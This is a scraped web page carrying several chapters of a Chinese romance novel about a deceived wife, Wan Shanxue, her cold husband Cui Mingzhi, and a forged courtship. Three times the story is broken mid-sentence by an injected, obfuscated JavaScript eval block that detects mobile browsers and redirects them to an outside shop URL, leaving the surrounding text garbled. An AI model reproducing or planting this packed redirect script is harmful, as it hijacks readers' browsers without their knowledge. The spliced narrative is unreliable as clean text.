崔明之神色凌厉，伸手捏住了她的下巴：“自庙里相遇至今时今日，我崔明之从未给你写过一字一句。除了聘礼，也从未送过你任何礼物。” “还有，我从来都没有欢欢喜喜迎你进门。我压根儿就看不上你。” 万山雪如遭雷击，愕然睁大了双眼：“你在胡说什么？” 4. 我们和离吧 崔明之抱着双臂，冷冷地看着她，嘴角含着不屑的冷笑。 万山雪挣扎起来，扑向嫁妆箱子。 大婚前她专门找人定制了一个精美的檀木匣子，来盛放来往书信和礼物。内层置有香料，年深日久连木纹里都沁着香味儿。少女的心思藏在匣底，那里暗雕着一句诗：苍山负雪，明烛天南。含了两个人的名字。 她犹记得将信笺一一抚平时放入匣子时的心情，信笺按着时序叠放，每一封都系着精巧的同心结，是她亲手编织而成。 那时痴痴想着，婚后二人共坐西窗下，一一拆开相阅，回味暧昧时期的美好，定然温情而有趣。 没想到大婚之夜他忽地变了脸，自此，她再也没有打开那个匣子的勇气。 她一直以为，原因定然出在自己身上。长相、身材或是行事作风，不能入夫君的眼，才招致婚前婚后他这样大的反差。将自己拆开来剖析反省了千遍万遍，却从未想过，他居然说，他从来都没有看上过她。 也从来没有什么书信礼物。 她不愿相信，亦不敢相信。 她一迭声唤橘霜拿来钥匙，哆哆嗦嗦开了匣子，迫不及待地展示给崔明之，却在打开的那一瞬愣住了。 匣子里面空空如也，什么都没有。 那些绮丽而美好的回忆，她视若珍宝，字字句句皆烂熟于心，到头来，却是她自酿的一坛酒。 她一下子跌坐在地上，喃喃道：“怎么会，怎么会……” 万山雪只觉得脑子里嗡嗡的，一团乱麻，她只觉得全然不对，一切都不对。 曾经明晰的记忆忽然像沸水一般翻腾起来，无数个念头在脑海里横冲直撞，太阳穴突突作痛。 “错了错了，全都错了……”她坐在地上，双手死死地摁着头。 崔明之蹲下来，意味深长地说道：“这场戏你演了四年了，还不觉得累么，我的夫人?” 他起身便要走，万山雪忽地站起身来，抓住他的衣袖：“把话说清楚了。你既然从未看上我，为什么要娶我？就算是我死皮赖脸贴上去的，你完全可以不答应，谁又能逼迫你？” “谣言漫天飞，你万家不要脸，我崔家的脸面却是丢不起的。既然一心促成了这桩姻缘，你总算是心想事成，从此消停些吧。” 崔明之一甩衣袖转身就走，却带得一个杯子咕噜咕噜掉在了地上，散作一地碎片。 那是他们大婚时候的合卺杯。 万山雪极喜爱这个杯子，胎骨薄得透光，在烛光之下，釉下暗刻的鸳鸯交颈之姿便清晰可见。 她整日将它放在桌上，闲时细细抚摸，满心盼着有朝一日夫妻感情好起来时，用这个杯子弥补上新婚夜里未完的合卺礼。 清脆的碎片声，反而让她心里明晰了一些。 她定了定神，站在门前挡住崔明之的道路，平心静气地说道：“崔明之，这其中定是有误会。我保证以后绝对不会再纠缠你，只是希望你今日能帮我把谜题解开，你究竟是为什么答应娶我的？” 见崔明之懒懒的不愿意回应，她又诚恳说道：“当年庙里避雨初见，我只觉得你看起来很正派，却并未多加注意。再后来便不断地从丫鬟那儿收到你的信笺，这才慢慢……我一直以为，你我姻缘是水到渠成之事，这中间定然是出了什么岔子，我恳求你，将你知道的告诉我。” “背着父母与人私相授受，不辨真伪，这等下作事体都做得出来，你也算是官家小姐。即便不是我，换做别的随便什么男人，你也会上钩的，是不是？” 万山雪竭力压着心底的愤怒，温声说道：“现在不是说这个的时候，明之，请你告诉我，你是因为什么谣言迫不得已娶了我，我委实不知道。” “好，那我就告诉你。那日庙里大雨归来，我生病卧床些日子，期间流言四起，说我崔明之对你一见倾心，相思入魔，说得那样真，有头有尾，连母亲都相信了。三人成虎的是你们，骑虎难下的是我崔家。 母亲以为，你万家诗礼传家，后母名声又极好，教养出来的姑娘自然不会差，便上门提了亲。至于你说婚前鸿雁传书，鬼知道你跟哪个野男人传的。” 万山雪惨白着脸，一颗心沉到了谷底，彻底相信了崔明之的话不会有假。“野男人”三个字都说得出来，她在他心里的形象也就不问而知。 婚前跟她在心里倾吐情意、你侬我侬的人，决不会是他。 她摇摇晃晃站起来，勉强笑道：“既是如此，真真委屈了你。崔明之，我们和离吧。” 崔明之不料她会说出这话来，怔了怔而后说道：“行。牧笛，进来。告诉你二奶奶，依照我大鄢律令，女子向夫君提出和离，需要做什么。” 牧笛低垂着头进来，小声却清晰地说道：“女子若提和离，则须在夫家同意后，先受五十杖刑。再赔男方一半聘礼以示惩戒。” 万山雪颤声问道：“若男子提呢？” “女方娘家须在十日之内将其女接回。” “就这样？” “就这样。” 万山雪笑得满脸是泪，她问道：“算算吧，崔二爷，你给我的聘礼是多少？” “牧笛，取账本来。” 不多会儿牧笛便回来了，奉上账册又关紧房门，崔明之将账册摔在她身上：“你自己看看。” 上面写着的大婚开销，第一页便是聘礼，其中仅仅银钱一项，便赫然写着：三千两。 万山雪惊愕抬头，她虽从来不管不问家中俗务，却也大概知道，按京城风气，京城士大夫之家娶亲亦不过花费千两银子，而崔明之迎娶她的总花销竟然高达五千两！ 而这件事，她从未听继母和父亲提过。 崔明之嗤之以鼻：“五千两，你知道意味着什么？是了，你是官家娇小姐，知道什么民间疾苦。这么说吧，我买一百个绝色丫鬟伺候我一辈子，都花不完这五千两！你看看你自己，值这个数么？” 万山雪难以置信，她语无伦次地解释道：“不可能，绝不可能，我从未听过什么三千两五千两的话……” 崔明之轻蔑地笑，不顾她脚上有伤，恶狠狠地将她掼倒在地上，扬长而去。 她跌坐在地上，却一滴眼泪也流不出来。 这三年来，夜夜目睹她辗转反侧的枕头，仿佛将眼泪都已经吸干了。眼睛涩痛，心口闷得像是压着千斤巨石，喘不过气来，脑子里千百个念头飞速旋转，往事铺天盖地浮现在眼前。 十五岁随继母礼佛时为大雨困在寺里，恰遇陪母同来的崔明之。两位妇人闲来无事，互相攀谈。 她是尽态极妍的明媚少女，任谁路过都要频频回头，崔明之陪在母亲旁，却是目不斜视，未曾向她多看一眼。她那时便从心里认定，这是一位正人君子。 却也仅限于此而已，并未多加注意。 兰芬对崔明之母子赞不绝口。再后来，兰芬身边的丫鬟花露便悄悄送来一封表明心意的短笺，署名是崔郎。 万山雪脸热心跳，连忙焚毁，心里噗通噗通跳了好几日，并没有予以回应，且告诉花露万万不可再做此有悖闺范之事。 书信和礼物纷至沓来，花露一脸为难：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756647|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是不收，又恐人发现告诉老爷夫人，将事情闹大了去。思来想去还是交给姑娘妥当。” 信上的话是那样情深意切，说些生意路上所见所闻以及对她的牵念，所送礼物的分寸感也恰到好处：小小巧巧却款式新颖而精致的首饰，京城见不到的奇花异草制作的信笺，形状奇异特别的摆件，总是美到女子心里去。 起初半个月一封，后来三五日一封，偶然中断十来日，万山雪竟失魂落魄，十分不适应。少女的心里，一遍遍描摹那人的身影，不知不觉已经牵肠挂肚。 而这些信笺，竟偶然被春草发现了。她怒不可遏，逼问出是花露所为，气冲冲找到了兰芬房里去。 身为一家主母，兰芬自然是大发雷霆，问清楚起始缘由后，狠狠责罚了花露，打得她半个月都下不来床。 万山雪心里惴惴不安，等来的却是兰芬的和风细雨：“好孩子，少女怀春藏心事，我不怪你。可气的是，你不该瞒着我们私相授受，幸而是我发觉了，若是被那起子多嘴多舌的婆子散扬出去，咱们全家人的脸面要也不要？我知道，我是后娘，到底比不得亲娘让你信赖。” 说着便流下泪来：“可你怎能拿我比寻常后母？我本就是你的姨母，与你娘同父同根，你与我的孩子有何异？” 此话一出，万山雪自是悔恨交加，母女抱头痛哭。 “崔家儿郎我也看了，确实是个好孩子，只是他们家底虽丰厚，到底只是从商之家，我与你父亲都不愿意委屈了你。如今你既然真心属意于他，我便与你父亲相商，私下找人探探他母亲的口风，咱们正正派派把事情办了岂不好？” 这一番话堂皇正大，又慈爱柔情，万山雪扑在继母怀里感激不尽。乳母春草的激烈反对，将她越推越远。 她欢欢喜喜准备嫁给心上人，其它一应事务都全凭继母作主，什么聘礼，嫁妆，一概不闻不问，沉浸在新婚的喜悦里。 若不是崔明之今日说出真相，她此生此世都不会想到，看似和蔼可亲的继母，她的姨母，竟然能做出这样的事。 十五岁起就编织的郎情妾意白头到老的美梦，如水晶坠地，覆水难收。 她终于忍不住，伏在地上剧烈地呕吐。 几乎将肠子都翻过来，吐得干干净净，几近虚脱的她，将手边物什一样一样摔在地上，声嘶力竭道：“假的！假的！全都是假的！” 红璎在外面紧紧守着房门，橘霜冲进来死死地抱着她，泪如雨下。 她曾经天真地以为，她拥有令人歆羡的一切。娘家慈蔼，婆家殷实，夫妻恩爱，如今才发现，其实两手空空一无所有。 墙上的自鸣钟不懂人间疾苦，滴滴答答不眠不休，执着地将黑夜变成白天。 晨光大好，阳光炽热而明亮，笼罩在庭院的每一个角落，仿佛昨夜女主人的崩溃，都只是一个噩梦。 石缸里的金鱼自在地游来游去，莲叶圆润如盘，有几朵荷花玉立其中，粉白相间，引来了几只蜻蜓，翅膀微微颤动。 万山雪立在水缸旁出了会儿神，哑着嗓子冲红璎笑道：“你还记得么？阿母的绣工极好，曾经教我绣荷花蜻蜓。可我怎么也绣不好蜻蜓，最后胡乱绣出一只蛾子，气得她哭笑不得。” 红璎眼里闪烁着泪光，笑道：“是啊，其实那只蛾子，姑娘……奶奶当初也绣得活灵活现的。娘背地里爱不释手，夸了又夸。” 万山雪伸手替她将散落的发丝拢到耳后：“红璎，以后想唤我什么便唤什么，不必再有任何顾忌。” 红璎愣了一下，继而用力点点头，笑意满满。 5. 夫君光环褪去 昨夜一场大吵，自然避不过尤氏的耳朵。不知道待会儿见了又会有怎样一番说教，不过这一切都不重要了。 虽然心里乱纷纷，接下来的路仍是一团混沌，可是经过昨夜，崔明之以及崔家的一切，分量都轻了许多。 放下竭力讨好他们母子的念头，万山雪陡然觉得浑身轻松。 橘霜快步走来了，见四下无旁人，微微抬了抬袖子说道：“奶奶，我将嫁妆单子上要紧的几样都誊抄好了。” 万山雪点点头，携着两鬟缓缓往尤氏院子里去。 红璎惴惴不安地问道：“姑娘，咱们真能征得太太的同意，去青檀寺看我娘么？” 万山雪眨了眨眼睛，笑道：“事在人为，总有法子的。” 才刚走到崔母门前阶下，便听到屋里传来一声呵斥：“给我站住！” 珊瑚在门外守着，见万山雪来了，急步迎下台阶，冲着她摇了摇手轻声道：“太太跟二爷发火呢，奶奶且等一等再进去。” 若是搁在往常遇见这样的情形，万山雪定然会急急忙忙进去，想要跟夫君站在一起，起码缓和下氛围，让他少受点儿委屈。 这会子想想，人家是亲母子，她一个外人算得了什么？便感激地冲珊瑚笑了笑，回身走到院子西南角，仰头欣赏凌霄花。 尤氏十分喜欢凌霄花，只是这花朵极容易招虫子，便命人在院子角落搭了竹架子，这时节开得正好。翠绿的叶子重重叠叠，橘红色的花朵如火焰一般层层舒展，向着人们摇曳身姿。一簇簇一串串，蓬蓬勃勃，绚烂极了。 她此前每每来婆母房里都紧绷着神经，全副身心都放在如何取悦婆母上，竟连开得这般烂漫夺目的花朵都视而不见。 她伸手摘了一朵把玩，忽而又有些奇怪，按理说人喜欢的东西最能反应其内心，尤氏那样整肃严谨、天天规矩不离口的人，怎么也跟眼前热烈的花朵联系不到一起。 正沉思着，门吱呀一声开了，崔明之急急忙忙从里面出来，一边大步匆匆地走，一边喊道：“牧笛，备马！” 尤氏追了出来，一眼瞧见万山雪，没好气地说道：“傻站着做什么？还不跟明之一起去！” 崔明之如被火烫，驻足说道：“她去做什么？四十多里路，她又什么忙都帮不上，只会白耽搁时间。” 院里一众下人并乌思羽都在听着，万山雪不像从前那样羞愧难当，只是默不作声地立着，看这娘俩拉锯式地将她推来推去。 尤氏不理儿子，吩咐婆子去给万山雪准备车子。 崔明之没了法子，便冲着万山雪说道：“别耽误时间，快走快走！” 尤氏难得地为万山雪说了句话：“事情已经出了，你就是这会子插上翅膀飞过去，也于事无补。我不过跟你媳妇交代两句话，急什么！” 崔明之无奈地一跺脚，转身出了院子。 万山雪与乌思羽一左一右扶着尤氏进了屋子，柔声问道：“母亲和二爷这样着急忙慌的，不知所为何事？” 尤氏叹了口气说道：“萧慎出事了。” 万山雪知道萧慎，他与崔明之是至交好友，自小一同长大。 萧家与崔家都是先皇亲口封的“十二皇商”之家，萧家主管药材生意，而崔家的生意则杂一些，茶叶、棉布、运输铜矿之事，都有所涉及。 人都说生意场上尔虞我诈，防不胜防。他俩却始终同心同德，彼此相让，甚为难得。 前些日子，太后凤体抱恙。萧家奉皇上之命前往南边采购野生灵芝和铁皮石斛，这些都是千金不换的延年益寿之药材。东西难得，皇上又催得紧。萧慎不放心，亲自跑了一趟。 哪料到回程中竟遇到了强盗，这些人明显是冲着药材而来，财物一概不取。萧家一行人自然是以性命相搏，打斗之中萧慎伤到了头部，昏迷不醒。 所幸危急时刻遇到了回京给祖母庆祝七十大寿的黎偃松将军出手相助，这才堪堪保住了药材和众人性命。 “母亲何必生气，二爷与萧家公子感情甚笃，着急是自然的。只是不知母亲为何要我同去？确如二爷所言，我什么也不会，去了帮不上忙，反而添乱。”万山雪心里有事，不愿意掺和崔明之的事打乱计划。 “萧慎此次接了他的长姐一同回京小住，有女眷在，明之一个人去多有不便。好了，他怕是都等急了，你去吧，有什么不懂的多问明之，别不懂装懂，闹出笑话来。” 尤氏说得轻描淡写，万山雪心里愈发起了疑。 崔明之与萧慎一同长大，亲如手足，跟他的姊妹们自然也陌生不到哪里去，而且彼此都成了家的人，又是这种危急关头，有什么可讲究避讳的？ 尤氏一向极欣赏萧慎，总是称赞他年少有为。想来得知萧慎受了重伤，只有慌张担忧的，可万山雪分明看到，她此时脸上神色极复杂，有担心害怕，有抵触，还有一闪而过的厌恶。这就很稀奇了。 隔着帘子，她瞧见崔明之折回身来等在阶前，想催又不敢，欲言又止。 万山雪有意拖延时间，找了两个话题磨蹭了一会儿，听红璎说打点齐备，这才告辞尤氏，起身出来了。 才走出七八里路，马车便倏地停住。崔明之掀起车帘不客气地说：“你们就在这儿等我，哪儿也不准乱跑，待我返回时一道家去。” 万山雪对萧家的遭遇虽然唏嘘同情，但彼此不熟，也并没有多关心，去与不去都在两可之间。得了这个机缘，正好去查一查她的嫁妆单子。 正要答应时，瞧见崔明之那副颐指气使的神气，不知怎么陡然生出一股叛逆之心，偏偏不想让他如意，非拗着来不可。 “好啊，不过晚上回去，母亲若是问起来，我要如实相告。我不懂如何撒谎，万一漏了馅儿我可圆不回来。”她直视着崔明之，好整以暇道。 说也奇怪，昨夜闹开来，得知那些曾经牵动心肠的情意，很可能是继母兰芬深谙闺中女子心里设下的骗局后，崔明之在她心里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756648|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光环倏然消失了。 从前只是想到他，心就怦怦直跳，总愿意想尽法子看他笑脸。这会儿跳出来再仔细看，他也不过是芸芸众生中的一个，不过家底厚些，长得好一些。 京城里可不缺这样的男子。 崔明之气急败坏：“不劳你费心，回来我自然会教你一套说辞，你就按我说的回复母亲就好。” 万山雪牵动嘴角，不发一言。 崔明之咬牙道：“你聋了还是哑了？还是我说的话你听不懂？” “我是奉婆母之命而来，用不着你对我大呼小叫的。崔二爷若真是有骨气，就该当着母亲的面把我关在你崔府门内，而不是撂在这荒郊野外。”万山雪反唇相讥道。 崔明之大概没想到一向温顺的她会如此反抗，便发狠道：“好，你既存心跟我作对，那就受着吧。牧笛，滚去骑马，我来赶车！” 万山雪立刻攥住了车窗，对红缨和橘霜说道：“抓紧了！” 话音才落，伴着马儿一声长鸣，蹄声如雷响起，车子便如离弦之箭飞速前行。 车轮碾过碎石坑洼，每一块木头都咯咯吱吱地响，如同汹涌浪涛里的小舟，仿佛随时要散架。帘子被风卷起，路旁行人树木飞速向后退去，模糊成了影子。 风声在耳边呼啸，间或传来一两声马儿的嘶鸣与路人骂声惊叫。 万山雪一手紧紧地抓着座凳边缘，一只手臂张开，与红璎和橘霜死死抱在一起，身体却仍不由自主地左右摇晃，头不时撞上车壁，发出沉闷的声音。 离京城愈远，路况便愈差，昨夜暴雨留下的积水带着泥从车窗里溅落，红璎与橘霜一左一右为万山雪挡住这些泥点子。车内放置的东西散落一地，叮叮当当。 她只觉得浑身都是疼的，头发乱蓬蓬的，胃里一阵阵的抽搐，翻江倒海一般，她死死地咬住嘴唇，生怕一张口就会吐出来。 红璎气得破口大骂，没说几句便被颠簸得失了声，破碎不成声的“不是人”“混蛋”也被车轮辗在了车辙里，一丝威力也没有。 橘霜是个老道的，虽然惊惧不已，见素日胆小的万山雪咬紧牙关，知道这时节不能给主子丢脸，也紧紧抿着唇，决不肯尖叫求饶。 四十里路，对这三个女子而言简直是一场浩劫。 待马车停下时，红璎不顾自己浑身疼痛，先爬起来看万山雪：“姑娘，姑娘你怎样了？” 万山雪正要说话，忽然觉得一股酸水从胃里往上窜涌，她猛地捂住嘴巴，飞快冲下马车，腰身撞到把手，一阵尖锐的疼痛，但她已经顾不得了，揽起衣裙，直吐得昏天暗地，五脏六腑都揪在了一起。 过了好一会儿，万山雪才勉力站起身子，阳光刺得她睁不开眼，只模糊辨出崔明之站在客栈门前，与一位年轻男子交谈。她微微喘着气，接过橘霜递过来的水漱口。 忽听身后一个柔柔的声音说道：“夫人可是晕车难受？我家姑娘让我送两颗晕车药给夫人，很有效的。” 6. 初遇 万山雪扭头看去，好俊俏的一个丫鬟！ 两道浓眉，一双杏眼，通身伶俐活泼，看起来顶多十二三岁，说话带着三分笑，令人一见便生亲近之意。 “我叫眺月，我家姑娘是江将军的女儿，就是驻守边疆的江咏大将军。”大约是怕万山雪信不过，她自报家门，手里用帕子托着两粒褐色的药丸，“我总是晕车，姑娘特意找军医给我配的。吃下去一刻钟就会舒服不少，夫人可以试试。” 看着她扑闪扑闪的大眼睛里满是热情，万山雪含笑接过来，就水吞了下去：“谢谢你，眺月，也谢谢你家姑娘。” 牧笛打来水，橘霜和红璎手脚麻利地给万山雪擦拭梳洗一番，橘霜低声道：“幸而没有脏污衣裙。” 红璎咬牙切齿：“狼心狗肺！” 万山雪看了看满身泥点的两个丫鬟，心疼道：“回头给你们多做几身新衣服，你俩别出去了，就在车里歇息歇息，回去路上咱们自己走，不跟他受这活罪了。” 她下车撒眼望去，面前是一家小客栈，外面黑压压地捆着三十来个匪徒。虽然已经被擒，脸上犹带着狠戾的神色。 崔明之陪着一位年轻男子说话，只见那人身形挺拔如松，肩宽背阔，站姿沉稳，虽然只是匆匆一瞥，也能感觉到此人周身散发出来的威严与果决。想必就是黎偃松了。 旁边还有一队亲卫按刀而立，虽只有不足二十人，也不是在校场上，可他们个个屏声静气。这会子烈日高照，在外面略站一站便觉得犹如火炙，能清楚看见他们眉棱上滚滚淌下的汗，他们却纹丝不动。 万山雪从未见过这种阵仗，不觉肃然起敬，一时看得失了神。 黎偃松的大名在京城可谓家喻户晓，他出生于将军世家。几代人为国尽忠，他的祖父、大伯、二伯均战死沙场，他的父亲黎玄因受伤瘫痪被护送回京时，连先皇都不忍了，动容落泪，赐予黎府几代人花不完的钱财以及世袭罔替的尊荣，且下令黎家男丁从此不得再从武。 黎偃松十三岁那一年，边疆大乱，他主动请缨，要与江咏将军一道守住疆域。先皇断然拒绝，他便日日于宫门外长跪不起，直到先皇点头。 如今单看着这支队伍，也可知这位少年将军治军严谨。堪堪二十岁，就取得如此大的成就。 万山雪暗暗赞叹的同时，不由有些自惭形秽。 一样的年龄，人家已经能领兵打仗奋勇杀敌，自己却困在深宅大院里，整日苦心琢磨如何讨夫君和婆母欢心，大好的年华真真是浪费了。 崔明之咳嗽两声，说道：“黎将军真是治军有方，难怪能够百战百胜，所向披靡。” 又冲着万山雪不耐烦地喊道：“还不快过来见过黎将军！” 万山雪回过神来，急趋向前福了福身，黎偃松朗声道：“夫人不必多礼。” 嗓音温润儒雅，与他一向令敌人闻风丧胆的名声颇不相称。 崔明之还要说什么时，听到屋内突然爆出一阵哭声，紧接着一个年轻姑娘跑出来喊道：“黎将军黎将军……崔大哥，你来了，我哥哥又昏过去了。” 崔明之拔腿便向里面跑去。万山雪看着他的背影，心头漫上一抹苦涩。 哪有什么冷面冷心的人，只是他关心的人，不是你万山雪。这样急切的关心，他从不曾给予过她，哪怕千分之一。 而她，要与他共度一生。 她想起那日牧笛关于和离的说法，不觉冒出来一个大胆的想法，随即又犹豫了。 漫说不知道嫁妆折算了够不够和离，就算和离成功了，娘家还能回去么？ 到时候天下之大，她该何去何从？ 萧将客栈包了下来，伙计掌柜一概赶往后院。屋里萧家下人来来往往，取药的端水的夹杂着哭声呼唤声，乱成一团。 万山雪愣愣地站着，想着接下来的路，只觉得像是站在大雾里，迷迷蒙蒙，毫无头绪。 这时候只听到二楼一个女声说道：“你去打水，你两个分头去买药，你过来帮大夫搭把手，还有你们两个，扶着萧姑娘到厅堂坐着。其余的人全部到楼下待命，没有吩咐不许上来。” 声如冷玉，干脆清澈，不同于寻常女子的甜美，却极好听。 万山雪看过去，只见一位约莫同龄的女子站在楼梯口指挥，穿着一身素色衣衫，剪裁得体，腰间束着深色革带，透着英气。头发高高束起，露出光洁的额头，一举一动都极利落，毫不拖泥带水。 她觉得今日算是开了眼，见了威震天下的少年将军和队伍已经大饱眼福，没想到还有如此潇洒的女子。 眺月凑在她身边小声说道：“夫人，这就是我家姑娘。” 方才那个哭着呼唤的姑娘下楼了，万山雪知道这是萧慎的妹妹萧湘，递上尤氏准备的滋补药物，彼此见了礼。 她看见萧湘的衣衫上斑斑驳驳都是血迹，关切几句，忽地想起临出门前婆母的话，环视屋内，不见萧慎的姐姐，便关切问道：“令姐也还好吧？有没有受伤？” 不问犹可，这一问，萧湘几乎是嚎啕大哭。 夏日炽热的阳光蓬勃地洒向每一个角落，照得屋里屋外一片透亮，却唯独安抚不了这个悲伤的姑娘。 她哭一阵，说一阵，说一阵，又哭一阵，断断续续，万山雪好容易才听明白。 “这原是家丑，不可外扬之事。不过将军和江姑娘是救命恩人，崔家嫂嫂与我家又是至交，我也实在忍不得了。” 原来萧慎动身离京之前，收到了姐姐萧泠的来信。才得知婚后这四年，萧泠一直置身于水深火热之中，日子十分难过。夫君不顾她怀有身孕，时时将歌姬舞妓带回家里胡混，稍有不顺便动辄打骂于她。 兄妹俩怕父母担忧，私下商量了主意，回京时路过秀州佯装探望，伺机将萧泠接回娘家。 没想到才走到半道，便被姐夫发觉追上来，强行将萧泠抢了回去。萧泠怀着身孕，他们投鼠忌器，不敢拉扯，只能等回来再想办法。 祸不单行，快到京城时，偏偏又遇见了匪盗。 萧湘泪眼模糊看向屋内昏睡不醒的哥哥，悲从中来，呜呜咽咽，哭得好不凄惨。 江心澜好奇道：“你这位姐夫什么来头，怎地这样无法无天？” 萧湘咬牙切齿道：“正是昭勇侯吴迎之孙，吴阻。” 江心澜倒吸一口冷气：“怪不得。” 万山雪却是不懂的，便以问询的目光看向江心澜。 “江姐姐也知道他的恶名吧？”萧湘抽噎道。 江心澜支吾着说：“那倒不是，只是从小就知道定国公与昭勇侯的英勇事迹，想来子孙后辈何其多也，依仗祖辈功劳胡作非为也是常有的，谁又敢指责呢？” “正是如此。”萧湘幽幽叹息一声，便讲起了缘由。 秀州虽离京城偏远，却是鱼米之乡，自古繁华。只是先朝末年动荡不安，世家大族你争我夺，以致民不聊生。到了先帝时，又有一众旧朝势力聚集在此，煽动闹事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756649|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按下葫芦浮起瓢，真闹得皇上也做不安宁。先帝正束手无策时，德高望重的吴达，不顾自身已经年过六旬，带领堂弟吴迎以及世家子孙们奋力抵抗，平定了叛乱，守得一方平安。 圣心大悦，封吴达为定国公，世袭罔替，食邑三千户。封吴迎为昭勇侯，食邑一千五百户，世袭。如今吴达之孙吴险承袭定国公之位，而吴迎之孙吴阻则承袭昭勇侯之位。 这原是兄弟齐心其利断金的佳话，吴达与吴迎终其一生都兄友弟恭，十分和睦。奈何人心不如水，平地起波澜，他们故去之后，吴阻十二分为祖父鸣不平，他认为吴迎作战英勇，若非他冒死相救，只会布局筹谋的文弱书生吴达根本不可能有命回来，还活到七十有余。 而吴迎因为战伤累累，平定叛乱仅仅五年后，就去世了。 他便到处宣扬，吴达世代占据的是他祖父的功劳。 一来二去，两家子孙便有了嫌隙，争闹不休。 偏是事有凑巧，两年前太后寿辰那日，他们一同进京贺寿，在京城流连些日子。吴险因缘巧合，撞见了萧泠，惊为天人，念念不忘。 可是待他打探明白萧泠身份时，吴阻已经抢先一步找皇上赐了婚。自此，两家的梁子结得更深了。 说到这儿，江心澜按捺不住问道：“既然是他自己看中令姐，又求了皇上准允赐婚，怎地不珍惜呢？” 萧湘拿帕子拭着眼泪说道：“他此前并没有见过我姐姐，他求皇上赐婚，只是不愿意让定国公如愿以偿罢了。” “就算如此，到底成了夫妻，又怀了他的孩子，怎能如此狠心？” “姐姐信中说，吴阻婚后埋怨她不过是商人之后，于他毫无助益。又说她不守闺范，未婚女子打扮得花枝招展出去勾引男人，可那时太后大寿，皇上宣布与民同乐，我姐姐不过是正常在街上走……姐姐略辩解几句，他就使性子打骂……” 萧湘说着又哭起来：“这次被抓回去，还不知姐姐要受怎样的磋磨……” 江心澜愤愤然道：“你们当时就应该硬碰硬，彻底让令姐跟这畜生分开。顾忌什么孩子，说句不中听的，留着孩子成两人的羁绊，只怕这辈子都没法儿安宁。” 一直不作声的黎偃松忽然出声制止：“心澜。” 江心澜无奈地摊摊手：“得，又要说我口无遮拦，可是人家好端端的女儿，凭什么由着他折磨一辈子？” 萧湘长叹一声：“江姑娘说得很对，只是这孩子到底也是我姐姐的血脉，终究是不忍心。” “孩子也是他的，人家都不心疼。多少女子都为孩子所困，被夫家任意揉捏。面对这样的男人，就是天王老子来了，管得了一时，也管不了他一世。” 江心澜侃侃而谈，“别指望任何人撑腰，到底还是要自己硬气才行，泼上你死我亡的架势，就算打不倒对方，起码让他有三分敬畏。” 萧湘兀自落泪，只是摇头。 这句话却让万山雪浑身一震。 她从前就是这么想的。 在娘家时整日盼着要嫁得一个如意郎君，将来庇护自己一生无忧。 出嫁之后，受了委屈，自己不会处理，就想着要回娘家去，指望爹爹和继母训斥崔明之，让他改过。 现下又满心盼着生一个孩子，能让自己直起腰来，在崔家过得硬气些。 不止是她，天下多少女子都是这么过来的。 却从没想过，最可以倚靠的人，竟是自己。 7. 他老盯着人家夫人 萧湘正要说话，无意往万山雪身后瞥了一眼，忽然站起身来问道：“崔大哥，我哥哥怎样了？” 万山雪这才发现崔明之在她背后站着，也不知立了多久，面色阴沉如晦，仿佛受了重伤的不是萧慎，而是他。 崔明之还未开口，只听到门外一阵脚步声杂沓而来，正是萧家父母，身后跟着四位京城有名的大夫。 萧湘扑到萧母怀里，才止住的悲泣复又爆发。 萧父强撑着见过众人，拉着黎偃松千恩万谢。 黎偃松谦道：“路见不平拔刀相救，何况晚辈虚负将名，保护百姓乃是职责所在，老世翁何必客气？” 寒暄片刻，一位大夫出来回禀道：“令郎身上中了十二刀，最要紧的一处在头部，一处在心口，所幸将军第一时间请了大夫，及时止住了血。据脉象看来，应是不至于累及性命，待缝合完伤口再作观察。” 众人听着都略觉安慰，萧母亦慢慢止住哭声，对众人不住地言谢，十分客气。唯独对崔明之亲近极了，几乎当成半个儿子在用，无论大事小情，都要先与他商量。 而崔明之也是字字句句有回应，耐心细致。黎偃松有萧父陪着，萧湘明显更喜欢江心澜，两人聊着方才共同经历的恶战，唯有万山雪独自坐于一旁干看着，十分尴尬。 过了一会子，见众人谈话渐止，她便起身向萧父萧母告辞道：“贵府出这样大的事，原应留下一起照应的，奈何在这儿不仅帮不上什么，反而累得伯父伯母忙上加忙。临出门时，婆母百般放心不下，我赶回去报一声平安，好教她老人家也宽慰些。” 萧母握着她的手只管客套，又忙着喊崔明之。 万山雪连忙阻拦道：“夫君与令郎的深情厚谊，咱们都是知道的，寻常人家的亲兄弟也比不得他们好，这会子说一声走，只怕他回去也是坐立难安，就留在这里照应吧，有什么事也可以帮忙出出主意。” 萧母说什么也不放心：“好孩子，京城脚下出这样的歹事，我再放你独自回去，我成了什么人。明之，明之你别忙了，先送媳妇回去……” 